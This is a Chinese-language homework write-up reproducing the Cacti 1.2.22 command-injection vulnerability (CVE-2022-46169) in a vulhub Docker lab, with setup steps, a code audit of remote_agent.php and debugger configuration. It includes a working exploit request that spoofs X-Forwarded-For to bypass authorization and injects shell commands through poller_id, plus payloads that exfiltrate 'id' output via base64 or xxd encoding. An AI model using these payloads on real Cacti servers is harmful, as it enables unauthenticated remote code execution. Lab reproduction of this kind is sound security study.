渗透高级-----测试复现(第三次作业)

文章目录

测试复现

一,环境搭建

1,在ubuntu虚拟机上安装MySql数据库:

复制代码
apt-get upgrade     # 更新apt-get upgrade
apt-get update      # 更新apt-get update
apt-get install mysql-server     # 安装mysql
service mysql start      # 启动MySQL
service mysql status     # 查看mysql状态
复制代码
root@ning:~# netstat -tap | grep mysql      
tcp        0      0 localhost:mysql         0.0.0.0:*               LISTEN      33859/mysqld  

2,在github...com官网搜索对应的cacti安装包;

复制代码
root@ning:~/vulhub/cacti/CVE-2022-46169# proxychains wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip
// 在Ubuntu虚拟机上安装对应的安装包
root@ning:~/vulhub/cacti/CVE-2022-46169# unzip 1.2.22.zip    # 解压缩

安装完后,根据vulhub官方文档上的操作执行。

第一步:执行如下命令启动一个Cacti 1.2.22版本服务器:

复制代码
root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose up -d

第二步:环境启动后,访问主机IP:8080端口,进入到cacti登录页面:

第三步:使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化,初始化的过程就是点击"下一步",直到安装成功即可:

第四步:本次测试的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

选择的Graph Type是"Device - Uptime",点击创建:

3,测试

完成上述初始化后,切换到测试角度,发送如下数据包:

复制代码
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

虽然响应包里没有回显,但是进入容器中即可发现/tmp/success已成功被创建:

复制代码
root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose exec web bash
root@6557b88583fa:/var/www/html# ls -al /tmp/
total 16
drwxrwxrwt 1 root     root     4096 Jul 25 03:52 .
drwxr-xr-x 1 root     root     4096 Jul 25 02:09 ..
-rw------- 1 www-data www-data 2429 Jul 25 03:50 sess_23c70c6c8a85bccae51d57b4c8f663bd
-rw------- 1 www-data www-data 1528 Jul 25 03:52 sess_dd35abcf5e60b64ff4c2124202bd7e48
-rw-r--r-- 1 www-data www-data    0 Jul 25 03:52 success

二,通过VS Code连接cacti

1,代码审计:

绕过 remote_client_authorized 鉴权函数

php 复制代码
// remote_agent.php(nu53-nu56)
if (!remote_client_authorized()) {
	print 'FATAL: You are not authorized to use this service';
	exit;
}

get传递的参数,是用户可控的,一定能走进case polldata 这个开关语句,一定会触发poll_for_data 函数。

可以通过ctrl+鼠标右键进行函数追踪:

php 复制代码
// remote_agent.php:nu324-nu428
if (cacti_sizeof($items)) {
	foreach($items as $item) {
		switch ($item['action']) {    // 判断action的值,action的默认值为2
		case POLLER_ACTION_SNMP: /* snmp */
		......
		case POLLER_ACTION_SCRIPT: /* script (popen) */
		......
		case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
		......

通过ctrl+鼠标右键追踪这三个常量可以得知,POLLER_ACTION_SCRIPT_PHP常量的值为2,所以会执行POLLER_ACTION_SCRIPT_PHP后面的代码:

php 复制代码
// global_constants.php:nu106-nu109
/* used both for polling and reindexing */
define('POLLER_ACTION_SNMP', 0);
define('POLLER_ACTION_SCRIPT', 1);
define('POLLER_ACTION_SCRIPT_PHP', 2);



如果需要执行命令,需要绕过这几个判断:

一定要将output赋值给value,否则output就会变成U

这里做了一个prepare_validate_result提前的判断,一定要绕过这个函数;

substr_count:计算字符串出现的次数。例如:

php 复制代码
<?php
$text = 'This is a test';
echo strlen($text), PHP_EOL; // 14

echo substr_count($text, 'is'), PHP_EOL; // 2

// 字符串被简化为 's is a test',因此输出 1
echo substr_count($text, 'is', 3), PHP_EOL;

// 字符串被简化为 's i',所以输出 0
echo substr_count($text, 'is', 3, 3), PHP_EOL;

// 输出 1,因为该函数不计算重叠字符串
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd'), PHP_EOL;

// 因为 5+10 > 14,所以抛出异常
echo substr_count($text, 'is', 5, 10), PHP_EOL;
?>22

filter_var:使用特定的过滤器过滤一个变量。这个过滤器可以验证IP是否合法。

当这里的验证绕过后,代码就可以执行。

2,创建一个test.php测试代码:

php 复制代码
<?php
echo '<pre>';
var_dump($_SERVER);

3,修改config.php文件:

root@ning:~/usr/local/nginx/html/cacti/include/config.php

php 复制代码
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'root';
$database_password = 'root123';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

4,修正环境变量

以下配置均在容器内部进行:

复制代码
# 安装指定版本的xdebug
root@6557b88583fa:/var/www/html# pecl install xdebug-3.1.6

# 启用扩xdebug展
root@6557b88583fa:/var/www/html# docker-php-ext-enable xdebug

# 重启容器
root@6557b88583fa:/var/www/html# exit
root@ning:/usr/local/nginx/html/cacti/lib# docker restart 6557b88583fa
// 3.1.6是php7.4对应的debug

# 编辑 docker-php-ext-xdebug.ini 配置文件
root@ning:~# docker exec -it 6557b88583fa /bin/bash
root@6557b88583fa:/var/www/html# cd /usr/local/etc/php/conf.d
root@6557b88583fa:/usr/local/etc/php/conf.d# ls -al
-rw-r--r-- 1 root root   22 Jul 25 09:49 docker-php-ext-xdebug.ini
root@6557b88583fa:/usr/local/etc/php/conf.d# vim docker-php-ext-xdebug.ini     # 添加如下内容
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

5,进数据库

复制代码
root@ning:/usr/local/nginx/html# docker exec -it 360eb4ccb010 /bin/bash
bash-4.2# mysql -uroot -proot
mysql> use cacti
....
Database changed
mysql> show tables;         # 查看表单

三,测试

1,打断点

2,抓包

  1. 开启burp suite

  2. 在浏览器中访问

  3. 将burp suite抓取到的包发送到repeater

  4. 修改部分数据后,send

虽然没有回显,但是在访问容器内容时,生成了success文件:

3,构造命令行

下面的命令在传参时,为了防止空格的影响,都要先进行urlencode编码:

复制代码
|echo "test\r\n `id | xxd -p -c 1 | awk '{printf \"%s \", $0}'`";
复制代码
|echo "test\r\n :`id | base64 -w0`";

运行完后,只需要将输出的值通过base64转码后,就能达到预想达到结果:

复制代码
|echo "test\r\n `id | base64 -w0 | awk -v ORS=':' '{printf $0}'`";
相关推荐
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云